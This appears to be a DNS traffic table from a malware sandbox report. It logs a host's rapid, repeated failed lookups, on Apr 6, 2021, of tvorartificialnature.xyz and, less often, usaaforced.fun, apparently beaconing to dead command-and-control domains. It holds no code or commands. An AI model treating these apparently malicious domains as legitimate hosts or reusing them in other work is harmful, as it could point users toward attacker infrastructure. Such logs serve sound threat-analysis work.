Apr 6, 2021 19:41:58.470900059 CEST	8.8.8.8	192.168.2.22	0x5e4b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:58.641525984 CEST	8.8.8.8	192.168.2.22	0xa94	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:58.827251911 CEST	8.8.8.8	192.168.2.22	0x400b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.004538059 CEST	8.8.8.8	192.168.2.22	0x7c27	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.211572886 CEST	8.8.8.8	192.168.2.22	0xd1eb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.380413055 CEST	8.8.8.8	192.168.2.22	0xdb8e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.556237936 CEST	8.8.8.8	192.168.2.22	0x1a82	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.764707088 CEST	8.8.8.8	192.168.2.22	0x5310	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.933067083 CEST	8.8.8.8	192.168.2.22	0xe9fb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:59.973819017 CEST	8.8.8.8	192.168.2.22	0xd282	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.101142883 CEST	8.8.8.8	192.168.2.22	0x89ba	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.274677038 CEST	8.8.8.8	192.168.2.22	0x5ec1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.438999891 CEST	8.8.8.8	192.168.2.22	0x10d6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.619324923 CEST	8.8.8.8	192.168.2.22	0x5298	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.778482914 CEST	8.8.8.8	192.168.2.22	0x3898	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:00.970303059 CEST	8.8.8.8	192.168.2.22	0xece5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.137034893 CEST	8.8.8.8	192.168.2.22	0xaedf	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.325675964 CEST	8.8.8.8	192.168.2.22	0xeff0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.497160912 CEST	8.8.8.8	192.168.2.22	0x3553	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.666512966 CEST	8.8.8.8	192.168.2.22	0xc494	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:01.843386889 CEST	8.8.8.8	192.168.2.22	0x52b0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.021790981 CEST	8.8.8.8	192.168.2.22	0x8ab8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.199714899 CEST	8.8.8.8	192.168.2.22	0xd668	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.398900986 CEST	8.8.8.8	192.168.2.22	0xb982	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.557260990 CEST	8.8.8.8	192.168.2.22	0xbc81	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.728431940 CEST	8.8.8.8	192.168.2.22	0x3f98	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:02.897326946 CEST	8.8.8.8	192.168.2.22	0x4303	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.057466030 CEST	8.8.8.8	192.168.2.22	0x49a5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.236287117 CEST	8.8.8.8	192.168.2.22	0xd29a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.431418896 CEST	8.8.8.8	192.168.2.22	0x25b1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.604156971 CEST	8.8.8.8	192.168.2.22	0x539b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.775981903 CEST	8.8.8.8	192.168.2.22	0x181f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:03.963377953 CEST	8.8.8.8	192.168.2.22	0xb96a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:04.002418041 CEST	8.8.8.8	192.168.2.22	0xc13d	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:04.136375904 CEST	8.8.8.8	192.168.2.22	0x595e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:04.317379951 CEST	8.8.8.8	192.168.2.22	0xad5c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:04.701368093 CEST	8.8.8.8	192.168.2.22	0x72c1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:05.332401991 CEST	8.8.8.8	192.168.2.22	0x40b6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:05.747744083 CEST	8.8.8.8	192.168.2.22	0xd791	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:06.229018927 CEST	8.8.8.8	192.168.2.22	0x20b4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:07.000691891 CEST	8.8.8.8	192.168.2.22	0xfa0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:07.563194036 CEST	8.8.8.8	192.168.2.22	0xc4fd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:07.859637022 CEST	8.8.8.8	192.168.2.22	0xabf0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:08.039262056 CEST	8.8.8.8	192.168.2.22	0x26bc	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:08.223378897 CEST	8.8.8.8	192.168.2.22	0xc569	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:08.427258015 CEST	8.8.8.8	192.168.2.22	0x54c8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:08.601442099 CEST	8.8.8.8	192.168.2.22	0x68ed	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:08.853430033 CEST	8.8.8.8	192.168.2.22	0x42b8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:09.226464033 CEST	8.8.8.8	192.168.2.22	0x63f2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:09.400111914 CEST	8.8.8.8	192.168.2.22	0xc642	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:09.676388025 CEST	8.8.8.8	192.168.2.22	0xa900	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:09.681921959 CEST	8.8.8.8	192.168.2.22	0xbdad	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:09.878000975 CEST	8.8.8.8	192.168.2.22	0x8c7f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:10.067082882 CEST	8.8.8.8	192.168.2.22	0x3de8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:10.265188932 CEST	8.8.8.8	192.168.2.22	0x8ef8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:10.434727907 CEST	8.8.8.8	192.168.2.22	0x8bfb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:10.612060070 CEST	8.8.8.8	192.168.2.22	0x55ce	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:10.812540054 CEST	8.8.8.8	192.168.2.22	0x2759	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.048989058 CEST	8.8.8.8	192.168.2.22	0x5f8d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.241987944 CEST	8.8.8.8	192.168.2.22	0x84e6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.437654972 CEST	8.8.8.8	192.168.2.22	0x4e66	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.649086952 CEST	8.8.8.8	192.168.2.22	0x7c0b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.818455935 CEST	8.8.8.8	192.168.2.22	0x7dd2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:11.988176107 CEST	8.8.8.8	192.168.2.22	0xe9d2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:12.152081966 CEST	8.8.8.8	192.168.2.22	0xc245	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:12.335345030 CEST	8.8.8.8	192.168.2.22	0x89bf	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:12.577694893 CEST	8.8.8.8	192.168.2.22	0x2896	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:12.801980019 CEST	8.8.8.8	192.168.2.22	0xaac5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:12.974637032 CEST	8.8.8.8	192.168.2.22	0xc74b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:13.153296947 CEST	8.8.8.8	192.168.2.22	0x2ac2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:13.331347942 CEST	8.8.8.8	192.168.2.22	0xa2bf	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:13.500329018 CEST	8.8.8.8	192.168.2.22	0xda46	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:13.723323107 CEST	8.8.8.8	192.168.2.22	0x4abf	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:13.894334078 CEST	8.8.8.8	192.168.2.22	0xc68b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.055567026 CEST	8.8.8.8	192.168.2.22	0x9218	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.158030033 CEST	8.8.8.8	192.168.2.22	0x8f2a	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.236222029 CEST	8.8.8.8	192.168.2.22	0xb95e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.405405998 CEST	8.8.8.8	192.168.2.22	0x58c3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.624495029 CEST	8.8.8.8	192.168.2.22	0xf0a9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.798022985 CEST	8.8.8.8	192.168.2.22	0x2b80	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:14.962238073 CEST	8.8.8.8	192.168.2.22	0x3355	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:15.143809080 CEST	8.8.8.8	192.168.2.22	0xf2ec	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:15.310986996 CEST	8.8.8.8	192.168.2.22	0x2350	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:15.491575956 CEST	8.8.8.8	192.168.2.22	0xa487	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:15.692091942 CEST	8.8.8.8	192.168.2.22	0x7b16	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:15.870172977 CEST	8.8.8.8	192.168.2.22	0xeab4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.119245052 CEST	8.8.8.8	192.168.2.22	0xeda2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.297472954 CEST	8.8.8.8	192.168.2.22	0xb757	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.480935097 CEST	8.8.8.8	192.168.2.22	0x4f46	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.692321062 CEST	8.8.8.8	192.168.2.22	0xe31f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:16.868537903 CEST	8.8.8.8	192.168.2.22	0xc29e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.045438051 CEST	8.8.8.8	192.168.2.22	0x7750	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.221864939 CEST	8.8.8.8	192.168.2.22	0x8452	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.402648926 CEST	8.8.8.8	192.168.2.22	0x488e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.565294027 CEST	8.8.8.8	192.168.2.22	0x6012	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.802484989 CEST	8.8.8.8	192.168.2.22	0x68e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:17.975872993 CEST	8.8.8.8	192.168.2.22	0x37f4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:18.151314020 CEST	8.8.8.8	192.168.2.22	0xaaba	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:18.366693974 CEST	8.8.8.8	192.168.2.22	0x9fee	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:18.548057079 CEST	8.8.8.8	192.168.2.22	0x8bee	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:18.737101078 CEST	8.8.8.8	192.168.2.22	0x69b7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:18.921735048 CEST	8.8.8.8	192.168.2.22	0x8c48	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.109467983 CEST	8.8.8.8	192.168.2.22	0x5aa2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.285516024 CEST	8.8.8.8	192.168.2.22	0x9691	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.458547115 CEST	8.8.8.8	192.168.2.22	0x1440	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.637598991 CEST	8.8.8.8	192.168.2.22	0xba4a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.799103022 CEST	8.8.8.8	192.168.2.22	0xebd1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.942873955 CEST	8.8.8.8	192.168.2.22	0x83b2	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:19.990502119 CEST	8.8.8.8	192.168.2.22	0xe141	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:20.163167953 CEST	8.8.8.8	192.168.2.22	0x5b2b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:20.340697050 CEST	8.8.8.8	192.168.2.22	0xd5e5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:20.668245077 CEST	8.8.8.8	192.168.2.22	0xd164	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:20.863915920 CEST	8.8.8.8	192.168.2.22	0x1530	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.045574903 CEST	8.8.8.8	192.168.2.22	0xe6ea	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.237277985 CEST	8.8.8.8	192.168.2.22	0xd500	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.413785934 CEST	8.8.8.8	192.168.2.22	0xfcea	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.581470013 CEST	8.8.8.8	192.168.2.22	0xc315	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.751272917 CEST	8.8.8.8	192.168.2.22	0x6b1a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:21.920979023 CEST	8.8.8.8	192.168.2.22	0x703c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:22.154211044 CEST	8.8.8.8	192.168.2.22	0x7408	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:22.332870960 CEST	8.8.8.8	192.168.2.22	0xae6e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:22.509052992 CEST	8.8.8.8	192.168.2.22	0xf465	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:22.694031000 CEST	8.8.8.8	192.168.2.22	0x4e0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:22.871140957 CEST	8.8.8.8	192.168.2.22	0x5683	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.062135935 CEST	8.8.8.8	192.168.2.22	0x129d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.244199991 CEST	8.8.8.8	192.168.2.22	0x50c9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.425602913 CEST	8.8.8.8	192.168.2.22	0xc6f3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.593420982 CEST	8.8.8.8	192.168.2.22	0x72df	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.804944992 CEST	8.8.8.8	192.168.2.22	0x90f3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:23.988109112 CEST	8.8.8.8	192.168.2.22	0x9bfe	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:24.180306911 CEST	8.8.8.8	192.168.2.22	0xfb4c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:24.369887114 CEST	8.8.8.8	192.168.2.22	0xba93	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:24.604326963 CEST	8.8.8.8	192.168.2.22	0x138b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:24.784987926 CEST	8.8.8.8	192.168.2.22	0xdfba	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:24.956549883 CEST	8.8.8.8	192.168.2.22	0x18ac	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:25.139507055 CEST	8.8.8.8	192.168.2.22	0x6a99	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:25.314471960 CEST	8.8.8.8	192.168.2.22	0x33bd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:25.497818947 CEST	8.8.8.8	192.168.2.22	0x4364	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:25.678411961 CEST	8.8.8.8	192.168.2.22	0x4b4c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:25.851898909 CEST	8.8.8.8	192.168.2.22	0x361f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.048476934 CEST	8.8.8.8	192.168.2.22	0x7742	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.215871096 CEST	8.8.8.8	192.168.2.22	0xcd71	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.405330896 CEST	8.8.8.8	192.168.2.22	0x41cd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.613580942 CEST	8.8.8.8	192.168.2.22	0x82b6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.788229942 CEST	8.8.8.8	192.168.2.22	0xd341	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:26.958570004 CEST	8.8.8.8	192.168.2.22	0x6108	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.149516106 CEST	8.8.8.8	192.168.2.22	0x6545	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.197156906 CEST	8.8.8.8	192.168.2.22	0xcc31	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.327368975 CEST	8.8.8.8	192.168.2.22	0xae0a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.505449057 CEST	8.8.8.8	192.168.2.22	0x6598	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.682452917 CEST	8.8.8.8	192.168.2.22	0x4aa9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:27.853235960 CEST	8.8.8.8	192.168.2.22	0x2a48	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.033345938 CEST	8.8.8.8	192.168.2.22	0x1b9b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.230309010 CEST	8.8.8.8	192.168.2.22	0xb079	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.407943964 CEST	8.8.8.8	192.168.2.22	0x8e73	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.580331087 CEST	8.8.8.8	192.168.2.22	0x2708	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.763948917 CEST	8.8.8.8	192.168.2.22	0x6362	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:28.935663939 CEST	8.8.8.8	192.168.2.22	0x2a77	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:29.099788904 CEST	8.8.8.8	192.168.2.22	0x8911	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:29.277669907 CEST	8.8.8.8	192.168.2.22	0xf8e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:29.476285934 CEST	8.8.8.8	192.168.2.22	0x1654	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:29.644162893 CEST	8.8.8.8	192.168.2.22	0xcba5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:29.837212086 CEST	8.8.8.8	192.168.2.22	0x897e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.010643005 CEST	8.8.8.8	192.168.2.22	0x4b95	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.182153940 CEST	8.8.8.8	192.168.2.22	0x90f0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.372332096 CEST	8.8.8.8	192.168.2.22	0x665	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.551834106 CEST	8.8.8.8	192.168.2.22	0x10b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.727878094 CEST	8.8.8.8	192.168.2.22	0x2612	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:30.899363995 CEST	8.8.8.8	192.168.2.22	0x63c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.071337938 CEST	8.8.8.8	192.168.2.22	0xca52	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.255116940 CEST	8.8.8.8	192.168.2.22	0xced0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.433943987 CEST	8.8.8.8	192.168.2.22	0x8040	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.617216110 CEST	8.8.8.8	192.168.2.22	0x5f43	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.805448055 CEST	8.8.8.8	192.168.2.22	0x1a2f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:42:31.980053902 CEST	8.8.8.8	192.168.2.22	0x5e97	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
